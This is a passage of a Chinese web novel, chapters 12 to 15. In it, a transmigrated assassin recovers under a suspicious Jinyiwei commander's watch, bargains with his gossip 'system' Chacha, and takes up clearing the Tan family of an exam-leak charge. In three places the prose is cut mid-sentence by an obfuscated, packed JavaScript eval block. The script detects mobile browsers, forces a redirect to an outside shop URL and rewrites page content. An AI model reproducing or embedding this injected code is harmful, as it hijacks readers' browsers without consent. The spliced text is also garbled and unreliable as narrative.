“有句话叫‘不是老人变坏了,是坏人变老了’。”何林秋拿起一块凤梨酥,“没想到霍齐安小时候过得这么惨,难怪会变成这样,这就叫‘可恨之人必有可怜之处’。” “宿主,我看你对霍齐安有偏见,虽然外面都传他心狠手辣,可他从不滥杀无辜,死在他手里的人都是罪有应得。” “你对他的评价倒是挺高。不过,我可没忘,他差点杀了我。”常年行走在危险边缘的何林秋,直觉素来很准,霍齐安是个十分危险的人,最好不要招惹。 “这里是他的地盘,你当时又是半死不活的状态,他要想杀你,你能活到现在?”猹猹不明白何林秋为什么那么排斥霍齐安。 听到脚步声,何林秋转头看过去,见是陶旺,便又收回视线。 陶旺来到近前,行礼道:“公子,您该喝药了。” 又是苦汤子,他天天喝、顿顿喝,都已经腌入味了。只是在这个时代,没有西药,不能打针,要想治病,就只能捏着鼻子喝。他坐了会儿心理建设,端起药碗往嘴里灌,那痛苦的表情像是在上刑。 待他喝完,陶旺急忙送上漱口水,随后又将蜜饯递过去。 蜜饯的甜味在口腔中散开,何林秋方才感觉自己活了过来,抬眸看向陶旺,问道:“大人在府里吗?” “回公子,大人去了衙门,还未下值。” 何林秋闻言,松了口气,笑着说道:“我已叨扰月余,如今身体大好,不便再叨扰下去,今日我便回去了,劳烦转达。” “公子要走?”陶旺惊讶地看着何林秋,随即说道:“不行!公子,您不能走!” 何林秋脸上的笑容一滞,问道:“我为何不能走?” “奴才的意思是说,大人不在府中,您就这么走了,大人定然怪罪,您还是亲自跟大人说为好。 ” 这段时日霍齐安确实很忙,每天都回来得很晚,即便如此,他每天回来,也会先来海棠院,询问何林秋的情况。自夫人去世,霍齐安对谁都十分冷淡,包括他的父亲。他们还从未见过他对谁如此上心,若是何林秋不辞而别,等霍齐安回来,他们绝没有好果子吃。 何林秋这时候提出要走,就是不想面对霍齐安,道:“大人事务繁忙,我离开这点小事,就不必这么兴师动众了。这样,我给大人留封书信,若是大人问起,你便将书信交给大人。” 不是小事,怎么可能是小事! “公子,马上就中午了,就算要走,也不差这一时半会儿,吃完午饭再走吧。奴才看厨房买了鱼,中午给您做松鼠桂鱼。” 何林秋眼睛一亮,纠结了一瞬,道:“好,那就吃了中饭再走。” “那奴才这就去通知厨房。”陶旺转身就走,心中暗想:“必须马上通知主子。” 12.他想软禁我 何林秋瞧着陶旺脚步匆匆的背影,总感觉哪里不对劲,道:“我怎么瞧着像是有怪兽在追他。” 猹猹小声嘟囔道:“他走这么快,还不是去通风报信。” 尽管猹猹的声音很小,可它存在于何林秋识海内,就算声音再小,何林秋也能听到,“通风报信?难不成霍齐安还在怀疑我,不打算放我走?” 想到这儿,何林秋立即起身,朝卧房走去,提笔在纸上写了两行字。在现代他接过一次任务,任务目标酷爱书法,因此刻意学习过一段时间,毛笔字写得有模有样。想到自己与原主的笔迹会有不同,便又将写好的字条毁了,抬脚走出卧房。 院子里负责洒扫的小厮见状,出声问道:“公子,您这是要去哪儿?” “去花园转转。”何林秋随口回了一句。 “那您多添件衣服,今日风大,您身子骨弱,需注意些。” 何林秋脚步一顿,仔细打量着小厮,他长得眉清目秀,身姿挺拔,虽穿着下人的服饰,却没有伏低做小的姿态。他不动声色地笑笑,道:“今日阳光正好,不碍事。” “猹猹,这个人的身份应该不单单是个洒扫小厮吧。” 猹猹趴在地上装死,眼皮都不抬一下,刚刚一不小心又被何林秋套了话,正懊恼着呢。 何林秋见状,收回视线,缓步走出院子。他没想到院门口竟有锦衣卫守着,心里不禁有些打鼓,“霍齐安这是想软禁我?” 锦衣卫见他出来,行礼道:“公子这是要去何处?” 仅是从卧房走到院门口,何林秋便觉得有些喘,额角出了一层的薄汗。他抬手擦了擦,道:“今日阳光正好,我去花园转转。” 何林秋说完,便往前走,锦衣卫随即跟上。何林秋顿住脚步,转头看过去,试探道:“我只在花园转转,你们不必跟着。” “公子见谅。指挥使吩咐,定要保护好公子。” 陶旺临走之前特别叮嘱,千万要跟着何林秋,不然霍齐安回来,他们不会有好果子吃。 “我只是去花园转转,不用随行保护。”何林秋这下更加坚定了霍齐安要软禁他的想法,瞥了一眼亦步亦趋跟着他的锦衣卫,忍不住懊悔地想道:“我当初怎么就脑子一抽冲上去了呢?招了块狗皮膏药回来。” 猹猹撇了撇嘴,道:“你这是得了便宜还卖乖。” “你这话是什么意思?” “原主在淮安伯府过的是什么日子,你在这里过的是什么日子?”猹猹忍不住为霍齐安说话,“饭来张口衣来伸手。给皇亲国戚看诊的御医,隔三岔五过来给你治病,各种珍稀药材如流水般送来,还有吉祥楼的糕点,锦衣阁的衣服等等。” “吉祥楼的糕点,锦衣阁的衣服……”何林秋审视着猹猹,“你对霍齐安的态度有点奇怪,怎么每次我对他表达不满的时候,你都会跳出来替他说话,到底谁才是你的宿主?” 猹猹抬起小爪子,心虚地挠了挠头,“有吗?你记错了吧。” 它那点小心思,全摆在脸上了,何林秋想看不出来都难,有时候他就很纳闷,怎么会有这么单纯的系统。 刚走到花园,还没来得及赏花,何林秋便感觉一阵头晕目眩,心慌气短,脚步一个踉跄,差点摔在地上,幸好被身后的锦衣卫扶了一把。 “公子没事吧?” 何林秋有些耳鸣,没听清他在说什么,只看到他的嘴巴在动。 锦衣卫见他脸色不对,又关切地叫了两声:“公子,公子……” 过了好一阵儿,何林秋才缓过劲儿来,道:“无碍,你扶我去亭子坐会儿。” 锦衣卫扶着何林秋进了亭子,又招呼人给何林秋准备了茶水。 “多谢。”歇了一会儿,又喝了杯茶,何林秋终于缓过劲来,“这副身子算是废了,这才走几步路就不行了。” “宿主现在可是病弱美人。”猹猹幸灾乐祸的表情藏都不藏。 何林秋在心里翻了个白眼,即便在现代受再重的伤,也没这么虚弱过,还真让他体会了一把什么叫林黛玉。 “宿主,想身体强壮吗?”猹猹引诱地说道:“只要宿主赚的积分足够,完全可以兑换强身健体丹,只要连续吃七天,就能完全恢复,而且没有任何副作用。” “强身健体丹?”何林秋打开商城看了看,一颗强身健体丹要五百积分,而他现在的积分只够买一颗。 院子里碰到的那个洒扫小厮,拿着一件薄披风过来,道:“公子,外面风大,把披风穿上吧。” 何林秋伸手接了过来,将披风穿上,问道:“你叫什么?” “回公子,奴才叫谭明。” 何林秋打量着他,试探地说道:“你看上去不像仆从。” “回公子,奴才是罪臣之子,半年前被贬为奴籍。” “原来如此。”何林秋点点头,没再多问。 “叮,任务发放,帮助谭明平反,任务完成奖励积分一千。”猹猹的声音在识海中响起。 “平反?你不是吃瓜系统吗?发这么个任务是几个意思?串台了?”何林秋闻言,忍不住吐槽。 “这是随机任务。”猹猹故作高深地说道:“宿主,这个谭明身上可是有大瓜,如果触发支线任务,积分还能更高哦。” “可我现在身子羸弱,走两步都头晕目眩,怎么接任务?” 猹猹闻言,抬起爪子抱紧自己,警惕道:“宿主,你别想再打我主意,我是不会上当的!” “我有说要打你主意吗?”何林秋忍不住在心里嘀咕,这个小家伙被坑怕了,警惕性强了不少,不好忽悠了,“我还是专心养身体,就不接任务了。” 猹猹闻言,欲言又止,既怕被何林秋算计,又怕何林秋不接任务,他不做任务,不赚积分,自己就没办法完成任务,如果到了期限,任务完不成,也会受到惩罚。 猹猹纠结了许久,还是妥协了,“你要怎么样才肯接任务?” “猹猹啊,我们可是利益共同体,我好了,你才能好,你说对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968555|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对?” 猹猹犹豫了一瞬,还是点了点头。 “我知道,我赚的积分,你也有一份。这样,你少赚一点,就当是批发,我努力一点,多做任务,多赚积分,咱们互惠互利,不是两全其美嘛。” 猹猹皱着眉头,仔细想着何林秋的话,好像是这么回事。 瞧着它那副小模样,何林秋心中暗笑,“我之前是做什么的,你应该很清楚,在做生意这方面,我绝对权威,你相信我准没错。” 猹猹不自觉地点了点头,道:“那你想怎么做?” “我之所以来这么久了,才完成一个任务,不是因为我能力不行,而是因为这具身体太弱,影响我发挥。” 猹猹天真地眨眨眼,道:“所以呢?” 何林秋接着忽悠道:“有句话说得好,‘身体是革命的本钱’,只有身体好了,才能多接任务,只有多接任务,才能多赚积分,只有赚的积分够了,我才能回家,你也能完成任务指标。你说对不对?” “对。”猹猹不自觉地应声。 “所以先给我两颗强身健体丹。” “好。”猹猹下意识地应声,随即反应过来,“不行!宿主,你又想坑我!” “我不让你白送,我不是有五百积分嘛,你先卖给我两颗。” “强身健体丹要五百积分一颗,是一颗,不是两颗!” “打个折嘛,超市搞促销都会打折,你这次少赚点,积少成多,总比一点不赚强吧。” “那是打个折吗?那是半买半送!” “反正解决方案给你,要不要做,在你,我不强求。”何林秋慢条斯理地品着茶,反正他不急。 何林秋被带进霍府差不多两个月,还从未来过花园,没想到景致竟这么美,不似别人家的花团锦簇,格外清幽雅致,花不再是主角,反而成了绿色的陪衬。 “虽然这人疑心病重,却很有品味。”何林秋小声嘀咕了一句。 一阵微风吹过,钻入鼻间的不是花香,是竹子的味道,因为旁边便是一大片竹林。何林秋很喜欢这个味道,比花香更加清爽。 “五小姐,主子公务繁忙,您还是过两日再来拜见吧。” “怎么,我就不能在大哥的宅子里转转?” 微风带来的除了竹香,还有两人的交谈声。 “五小姐,大人吩咐过,若大人不在府中,任何人不得在宅子里走动。” “我可是大哥最疼爱的妹妹,你确定要拦我?” “这是大人的命令,还请五小姐不要为难奴才。” 声音越来越近,明显是朝着这边来的,何林秋不想招惹麻烦,起身就往相反的方向走。谭明和两名锦衣卫见状,亦步亦趋地跟上。何林秋边走边在脑海中搜索有关‘五小姐’的信息,这个五小姐叫霍兰婷,是侯府二房霍平海的女儿,因为霍兰婷曾无意中救了霍齐安一次,霍齐安对她比对霍家其他人态度要好些。 “不是不让在院子里走动吗?那他是谁?” 13.就是想软禁我 “喂,你站住!” 一道清脆的女声自身后传来,何林秋微微皱起眉头。她本欲避开麻烦,奈何天不遂人愿,麻烦还是找上门来。何林秋转过身,朝着声音的方向望去,只见是个十四五岁的少女。这少女长得还算清秀,脸上带着些许婴儿肥,身着翠绿色的衣裙,正用满是好奇的眼神打量着何林秋,模样娇俏可爱。 “小姐可是在叫我?”何林秋礼貌地回了一句。 待霍兰婷走近,看清了何林秋的脸,不禁惊艳地瞪大眼睛,道:“你是女扮男装?” “不是。”何林秋礼貌地微笑。 “不是?”霍兰婷眉头微蹙,眼神中满是质疑,“怎么可能不是?哪有男子长得如你这般俊美?” “小姐,我是货真价实的男子。”何林秋生平第一次被人这么夸。自来到这个世界,他只用铜镜照过一次,当时只觉得原主这张脸太过阴柔,不似他之前那张脸阳刚。 霍兰婷满腹狐疑地上下打量着他,那声音分明是男子之声,喉结也十分明显,胸部亦是平坦的,这样看来确是个男子模样。她满是好奇地问道:“你是谁?为何会出现在我大哥的府上?” “我姓何,任职于锦衣卫。”何林秋抬手捂嘴,轻轻咳嗽了两声,“抱歉,我身体抱恙,不便多陪,就此告辞。” 何林秋转身欲走,却被霍兰婷拦住了去路,她说道:“你是锦衣卫?可看你的穿着,不太像啊。” “小姐,实在抱歉,我身体不适,不便相陪。”何林秋再次重复道,然后绕过霍兰婷,径直走了出去。 霍兰婷还想追上去,却被谭明拦住了。谭明躬身说道:“五小姐,公子身子孱弱,受不得风,还望五小姐见谅。” 霍兰婷见何林秋渐行渐远,厉声喝道:“大胆奴才,就凭你也敢阻拦我?” “谭明,还不跟上。”何林秋不想因自己而让谭明受责罚。 “是,公子。”谭明躬身退了两步,随即转身追了上去。 霍兰婷还想继续追赶,却被管家霍秦拦住,“五小姐,公子是大人的贵客,大人吩咐过任何人不得打扰,您就别再追了。” “大哥的贵客?他不是自称是锦衣卫吗?” 霍秦回应道:“五小姐,公子既是锦衣卫,也是大人的贵客。” “霍兰婷。” 低沉的声音自身后传来,霍兰婷与管家先后转身望去,来者不是别人,正是霍齐安。他迈着大步走来,衣袂随风翻飞。他脸上明显没什么表情,霍兰婷却感到心惊肉跳,结结巴巴地喊道:“大……大哥。” “你为何会在此处?” “兰婷许久未见大哥,特意前来探望。” “探望过了,你可以离开了。” 见霍齐安要走,霍兰婷赶忙阻拦,“大哥。” “还有何事?” “大哥,兰婷刚才在花园碰到一位公子,他自称姓何,是大哥麾下的锦衣卫。” 霍齐安注视着她,嘴角虽挂着笑意,却隐隐透着小心翼翼,和大多数面对他的人并无二致。唯有何林秋是个例外,他的卑躬屈膝不过是伪装,表面上毕恭毕敬,心里却可劲儿的骂他。 霍兰婷满脸诧异地看着霍齐安,心想自己刚才一定是看花眼了,不然怎会在杀人如麻的霍齐安眼中瞥见一丝温柔,“大、哥?” 霍齐安抬眸,面无表情地看着她,那温柔早已消失得无影无踪,“他是谁,与你无关。” 果然只是错觉。霍兰婷暗暗松了口气,开口道:“大哥,再过几日便是父亲的寿辰,兰婷受派过来邀请大哥。” “近来公务冗杂,恐怕无暇出席。”霍齐安稍作停顿,接着说道:“送五小姐回侯府。” “大哥。”霍兰婷还欲再说,然而一触及霍齐安那淡漠的眼神,到嘴边的话又咽了回去,“兰婷告退。” 霍兰婷刚迈出两步,便听到霍齐安说道:“以后没有我的许可,任何人不得进府。” “是,大人。” 霍兰婷闻言,脚步一滞,有些难堪地揪紧衣角,随即快步走了出去。她心里清楚,霍齐安这是说给她听的。她以为自己在霍齐安这里是说得上话的,这才领了这份差事来霍府传话,没想到是自取其辱,霍齐安果真不近人情。 那个姓何的男人是谁,为何能在这里行动自如,难道霍齐安真有龙阳之好? 待霍兰婷走远,霍齐安出声问道:“他在哪儿?” 霍秦愣了下,随即答道:“公子应该是回海棠院了。” 霍齐安点点头,道:“今日可有按时喝药?” 陶旺答道:“喝了。奴才看着公子喝完药,才去衙门寻主子。” 霍齐安大步走向海棠院。院门口的锦衣卫见他过来,行礼道:“属下参加大人。” “人在里面?” “是。” “出去多久,都做了什么?” “回大人,公子出去约莫半个时辰,在花园的凉亭坐了会儿。五小姐来花园后,公子便起身离开,被五小姐拦住问了几句话。” “问得什么?” 锦衣卫将方才何林秋与霍兰婷的对话重复了一遍。 “身体不适?” “公子身子虚弱,仅是从院子走到花园,便累得差点晕倒。若非属下扶了一把,怕是要……”锦衣卫说着说着,突然感觉一股寒意袭来,抬头瞄了一眼,霍齐安正面无表情地凝视着他,后面的话卡在嗓子眼里,怎么都说不出口。 霍齐安收回视线,径自进了院子。 回话的锦衣卫看向同伴,小声问道:“我方才哪句说错了?我怎么觉着大人要杀我?” 两人绞尽脑汁,也没想出答案。 何林秋一进卧房,就爬上了床,头晕目眩的感觉实在不好受。只听‘吱呀’一声,房门被推开,何林秋晕的厉害,虽听到声音,却并未睁开眼睛,有气无力地问道:“谁?” 霍齐安没回话,径直走到床前,看向躺在床上的何林秋,脸色苍白,额角有汗,呼吸急促,明显不对劲。霍齐安走近,伸手摸向他的额头,果然有些烫,刚要收回手,便被攥住。 冰凉的触感让何林秋愣了下,随即睁开眼睛,见是霍齐安,急忙松了手,强忍着眩晕起身下床,行礼道:“属下见过大人。” 霍齐安默默收回想要去搀扶的手,背到了身后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973526|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是事务繁忙吗?他怎么来了?陶旺果然是去通风报信。”何林秋忍不住在心里想道。 他知道陶旺是去通风报信,那去花园转转,十有八九是借口,他是想趁机离开。霍齐安眼中闪过不悦,道:“起吧。” 何林秋直起身子,却依旧垂着头,“这具身子算是废了,这都歇了好一会儿了,还是晕。” “听闻你要走。”霍齐安坐到榻上。 “是。属下觉得身子好了些,不好再叨扰大人,便想着回伯府休养。” “就这么想回伯府?” “这话问的,这又不是我家。”何林秋在心里嘀咕了一句,“属下叨扰大人已近两月,实在过意不去。” “伯府那种吃人不吐骨头的地方便是你想要的家吗?”霍齐安眼眸微垂,淡淡地开口:“你的身子是为我损的,我留你在府里治病是理所应当,我不想被人诟病,说我薄情寡义,不知感恩,所以在你的病愈之前,便安心在府中治病。” “这是铁了心要软禁我?他到底在怀疑我什么?”何林秋百思不得其解,“大人对属下尽心尽力,属下万分感激,绝没有半分怨言,大人放心便是。” 霍齐安眉头微蹙,“我便是让你走,你能走出这座宅子吗?” 何林秋闻言,想到花园里自己差点晕倒的事,道:“大人,属下的身体……” “何林秋。”霍齐安打断何林秋的话,“你可知你每日喝的药要多少银子一副?” “不知。” “二十两。” “这么贵?”何林秋震惊地抬头,半信半疑地看向霍齐安,心想:“我这不是喝的药,是喝的银子。” “你回伯府,可能用得起?” “用不起。”何林秋老老实实地回答,他一个月的俸禄也就五十两,只能喝两副。一想到他这两个月一天三顿,每顿二十两就一阵肉疼。他转念一想,只要三千五百个积分就能让他痊愈,便觉得还是积分靠谱。 霍齐安微蹙的眉头舒展开来,道:“若你因此死了,我岂非落得个忘恩负义的罪名?” “他有这么在乎自己的名声?”何林秋对此十分怀疑,“他要在意自己的名声,又怎会落得个心狠手辣、薄情寡义的名声。说来说去,还是想软禁我,想从我身上得到什么。” “有时候过于聪明,也不讨喜。”霍齐安起身,“此事就这么定了,你安心养病,若当真要走,便亲口与我说。” “多谢大人,属下感激不尽。”何林秋拱手,心道:“那就先留下吧,处理完谭明的事再走。” “谭明?”霍齐安刚抬起的脚又收了回去,重新坐了回去,“你在发烧,去床上躺着。” 何林秋愣了愣,随即抬手摸了摸额头,确实有些烫,“难不成真让谭明一语成谶,受了风?” “又是谭明。” 何林秋躺回床上,“猹猹,我之前抽了个输送心声的技能,具体该怎么用?” 之前一直是微活的状态,压根用不上这个技能。 猹猹被点名,从装死的状态恢复成待机状态,将输送心声的方法交给何林秋。 “来展开说说,有关谭明的案子。” 14.输送心声 “这事还得从去年的秋闱说起。”猹猹煞有介事地清了清嗓子,“谭明的父亲谭进是翰林院学士,曾是皇帝跟前的红人,故而被皇帝任命为秋闱的副主考。然而去年秋闱爆出考题泄露之事,首当其冲的便是谭进,不但有人证,还有物证,谭进算是被板上钉钉了。” “考题泄露被爆出后,皇帝是如何处理的?” “重考。”猹猹停顿了片刻,接着说道:“考题被泄露,皇帝勃然大怒,当即下令将谭进抓捕,由翰林院大学士于继礼出题,重新开考。” “于继礼?”何林秋搜索有关他的信息,“怀远侯老夫人的大哥?” “是。” “既然是重考,那考进一甲的三人应该有变化吧。” 猹猹摇摇头,道:“一甲没有太大变化,还是那三人。只是状元和榜眼调换了一下,之前的状元变成了榜眼。两人的才学相差无几,只是考题的重点变了,所以状元和榜眼替换了一下。因为影响不大,再加上霍齐安求情,谭家才免了死罪,改判流放。” 猹猹给出的答案有些出乎意料,何林秋沉吟片刻,接着问道:“状元是谁,榜眼又是谁?” “状元是郁淮章,榜眼是齐豫。” “霍齐安是皇帝的人,他出面保谭家,也就是皇帝要保谭家。这起事件的幕后黑手应该不会放过谭家吧。” 皇帝要保谭家,就说明皇帝不信这事是谭进干的,只是证据确凿,不得不发落了谭家,所以要想这件事彻底了结,就得让谭家的人彻底消失。 何林秋依旧如此敏锐,猹猹忍不住在心里感叹,道:“谭家上下二十八口,在流放的路上遭遇山匪,最后只剩下谭进和谭玲兄妹侥幸活了下来。” “是霍齐安救的人?” 猹猹点头说道:“霍齐安留谭明在身边,就是保护他。” “案发已经半年,依旧没能平反,看来幕后黑手把这事做得天衣无缝。”何林秋若有所思地揪着被子,“皇帝的身体不好,皇位之争进入白热化状态,而科举是安插人手最直接的方法,所以谭进是皇位之争的牺牲品。” 猹猹再次被何林秋的敏锐震惊,有这么一个聪明的宿主,积分应该手到擒来才对,可现实是来这个世界两个多月,只赚了五百积分,而这五百积分里,还有两百积分是坑他的。 一瞧猹猹的表情,何林秋便知自己猜对了,“皇帝有五个儿子,老大是体弱多病,老二早夭,老三被立太子,老四胸无大志,老五刚满八岁,能与太子争夺皇位的只有皇帝的弟弟安王。至于那个大皇子和四皇子嘛,也不能完全排除,毕竟生在皇家的人可以无才无德,可以暴虐成性,绝不可能是胸无大志。” “你这也太绝对了。” “你不懂,就算真有皇子胸无大志,也会有人逼着他谋权篡位,这就是身在皇家的身不由己。” 霍齐安见他垂着头,半晌无话,也听不到心声,心中不免担忧,犹豫半晌,还是忍不住上前,伸手去摸他的额头。 何林秋下意识躲闪,抬眸看向霍齐安,道:“大人?” “别动。”霍齐安的语气很淡,却不容置疑。何林秋眉头微蹙,在心里翻了个白眼,若非身份所限,他才不会乖乖听话。 果然温度又升高了。霍齐安扬声说道:“去请御医。” 何林秋闻言愣了一下,随即抬眸看向霍齐安,道:“大人,我去花园时受了风,可能是感染了风寒,不必请御医。” “不过是去花园一趟,便如此。你还想回伯府?” 何林秋语塞,忍不住在心里吐槽,“还不都怪你没本事,不然怎么能在你眼皮子底下给我下毒。” 霍齐安眼睛微闪,这件事确实是他疏忽,他无话可说。他在床边坐下,淡淡地开口,“我审问了曹福。” “那他都说了什么?”何林秋抬眸,曹福与他只有那一次交集,他说的都是实话,即便曹福说了什么,也不会对他不利,他只是单纯好奇霍齐安都问出了什么。 霍齐安仔细看着何林秋的眼睛,除了好奇外,并没有其他情绪,“他之所以要杀你,是因为那日在院子里见了你,确定了你锦衣卫的身份。” “果然和我猜想的一样。”何林秋忍不住在心里想道。 “还说了些有关安王的消息。” “大人。”何林秋打断霍齐安的话,心想:“知道得越多,死得越快。” “果然还是那么贪生怕死。”霍齐安清冷的眼中闪过笑意,“你想说什么?” “大人,洒扫的仆从当中,有个叫谭明的,做事麻利又周到,能不能让他来照顾我?” 又是谭明,他似乎对谭明很感兴趣。霍齐安审视着何林秋,“陶旺照顾得不妥帖。” “那倒不是。”何林秋从霍齐安清冷的眸光中看出了不悦,“是属下逾矩了,还请大人恕罪。” 霍齐安沉默,等了好一会儿,也没听到何林秋的心声,试探道:“你可知谭明的身份?” “在花园时,属下随口问了一句,他说自己是罪臣之子。” “所以你知道他的真实身份。” “开启输送心声。”何林秋在心里想道。 “输送心声功能开启。”猹猹略显公式化的声音响起,“因为S级技能,不能与其他技能同时使用,立即屏蔽。” “啥意思?屏蔽什么?”猹猹的话引起了何林秋的注意。 猹猹不答反问:“宿主想输送什么心声?” “你在想什么?”霍齐安见他在发呆,忍不住出声问道。 “属下在想谭明。”何林秋下意识地回答。 “在想谭明?”霍齐安的语气有了起伏,“想他什么?” “当然是想谭家的案子,还能想什么。”何林秋输送心声,原身好歹是锦衣卫,谭家的案子当初轰动整个大明,他不可能不知情。 听到何林秋心声,霍齐安移开视线,语气恢复平静,问道:“你对谭家的案子感兴趣?” “是想替大人分忧。”何林秋话落,开始输送心声,“谭家被抄家流放,谭明此时应该在西北才对,如今却出现在霍府,应该是大人故意为之。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979580|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而大人是皇上的心腹,这么做应该是皇上授意,也就是说谭家的案子有内情。” 霍齐安闻言,瞳孔一颤,他知道何林秋聪明,可他的敏锐还是出乎他的意料,或许他真的能帮他,“你打算怎么为我分忧?” “谭家……”嗓子突然发痒,何林秋忍不住咳了两声,突然一只茶杯映入眼帘,抬眸看去,是霍齐安。他伸手接过茶杯,感激道:“谢大人。” “说好的心狠手辣呢?这水里不会下了毒吧?” 猹猹闻言,忍不住翻了个白眼,道:“宿主,你知道你这叫什么吗?你这叫‘狗咬吕洞宾-不识好人心’。” 瞧他看自己的眼神不对,却未听到他的心声,霍齐安有些疑惑。不过,即便何林秋不说,他也能猜到他在想什么,轻声说道:“水里没毒。” 刚喝进嘴里的水喷了出来,何林秋被呛得咳了起来,却手忙脚乱地去帮霍齐安擦拭身上的水,边擦边说道:“咳咳,大人恕罪,属下……咳咳,不是故意的。” 霍齐安攥住他的手腕,不悦道:“把水喝了。” 何林秋愣了一下,随即照做,将杯子里的水喝光,有了水的滋润,嗓子舒服了不少,咳嗽也止住了。何林秋将杯子递到霍齐安面前,道:“大人,属下喝光了,能放开属下了吗?” 霍齐安低头,看向两人交握的手,耳尖迅速染上绯红,随即松了手,“何林秋,若我想让你死,不必这般拐弯抹角。” 何林秋闻言,瞳孔微颤,随即问道:“他怎么知道我在想什么?难不成他能听到我的心声?” “应该是宿主刚才不小心输送了心声。” 何林秋仔细看着猹猹,总觉得它这话说得有点虚,“是吗?” “不是吗?”猹猹学聪明了,将问题又抛了回去。 “大人,您这话是什么意思,属下怎么听不懂?”何林秋在心里试探道:“这里太危险了,晚上要想办法离开。” “你的表情很丰富,想什么都写在脸上,不适合做锦衣卫。” 何林秋抬手摸了摸自己的脸,霍齐安的反应不对,是他伪装,还是自己疑心病过重? “就我现在的身体,确实不适合再做锦衣卫,可这是娘用命换来的。”瞧着输送心声完成的提示,何林秋适时地做出失落的神情。原主这双眼睛确实容易暴露情绪,可那都是他的伪装,也是他的利器。行走于危险边缘这么多年,接到的任务千奇百怪,如果不善于伪装,他早就死了。 “刚才的话说重了。”霍齐安见状,心里揪了一下,沉吟片刻,道:“只要你安心养病,身体迟早会痊愈。待你身体痊愈后,若还想做锦衣卫,便留在我身边。” 他变成如今这副模样,终归是因为他,护着他是应该的。 “他和传闻中确实不太一样。” 猹猹接话道:“我都说了,你又不信。” “多谢大人。”何林秋继续输送心声,“大人对我如此看重,我是否该告诉他,谭进泄题案另有隐情呢?” “另有隐情?他都知道些什么?” 15.大半夜的 “属下了解得不多。”何林秋输送心声:“这半年我一直在暗中调查,谭家的案子没人比我更清楚。” 何林秋之所以这般有底气,主要是因为有猹猹这儿作弊器。 “说说你都了解多少。” 何林秋知道霍齐安在试探,该怎么说,说多少,都需要斟酌,否则以霍齐安多疑的性子,一定会怀疑他心怀不轨,那他想要离开霍府就更能难了。 何林秋斟酌片刻,将有关谭进泄题案仔细说了一遍,他说的这些,只要参与案件调查的人都知道。最后,他又做了总结,“这起案子表面看人证物证俱在,堪称破获的最完美的案件,可这样恰恰表明这起案子并非表面这般简单。” 这半年来,霍齐安一直在调查这起案子,何林秋说的这些,他自然清楚,他要听的,可不是这些,道:“依你之见,谭家要想翻案,要从何处下手?” 何林秋迟疑了一瞬,道:“状元郎郁淮章。” “郁淮章?”霍齐安看向何林秋的眼神变了,因为一甲变动不大,他从未想过从中调查,何林秋这个思路很新,“为何这么说?” “郁淮章自秋闱后,并未有文章传世,甚至曾有诗词流出。相反,齐豫有不少佳作,被京都百姓所传颂,这不正常。”话落,何林秋继续输出心声,“那个郁淮章就是个庸才,写个奏折还让人代笔,这种人怎么可能中状元。” “写个奏折还让人代笔?”霍齐安清冷的眸子闪了闪,“郁淮章性格内敛,不好张扬,没有诗文流出,不代表他没有才学。” “大人说得有理。”何林秋再次输出心声,“最初我也是这么想的,结果不查不知道,一查吓一跳,他府外养着两个代笔,就连平日写的奏折,都是他们代写的。” “既然查到了,为何不说?”霍齐安等了一会儿,不见何林秋继续说下去,诱导道:“你对郁淮章似乎颇有微词,这是为何?” “不知为何,属下就是看他不顺眼。”何林秋持续输出心声:“木秀于林风必摧之,我不想当这个出头鸟,该提醒的都提醒了,该怎么查就不关我的事了。” “还是如此胆小怕事。不过,懂得明哲保身也是好事。”霍齐安沉吟片刻,接着说道:“除了郁淮章,可还有可疑之处?” “属下时常想,幕后之人为何诬陷谭学士。” 霍齐安见他停下,配合道:“你以为为何?” “属下没想明白。这谭学士虽在皇上面前说得上话,却并非特别紧要之人,实在没必要大费周章地拉他下马。”何林秋输送心声,“怕是第一次泄题是假,第二次泄题为真,谭进就是他们选中的牺牲品。” 霍齐安瞳孔震颤,之前想不通的事豁然开朗。 被霍齐安盯得毛骨悚然,何林秋往后缩了缩身子,道:“大人,属下身体不适,要躺一会儿。” “那你躺下好生歇息,御医一会儿便到。”霍齐安起身。 “多谢王爷。”何林秋躺好,闭上眼睛假寐,有些后悔刚才说的话,以后要是再装傻,霍齐安怕是不会信了。 霍齐安在床前站了一会儿,便转身离开了。 听到关门的声音,何林秋睁开眼睛,不禁长出一口气,抬手捏了捏胀痛的眉心,“猹猹,赶紧给我强身健体丹,我受够这种半死不活的状态了。” 猹猹警惕地往后退两步,道:“五折不行,最多给你打八折。” “说好的五折,如果你反悔,那任务你自己做吧。” 猹猹了解何林秋的个性,这人向来是说一不二,如果不给他打五折,他真的会摆烂。猹猹不甘不愿地拿出丹药,道:“先说好,只有这一次打五折,以后你再买,就是原价,少一分都不行。” 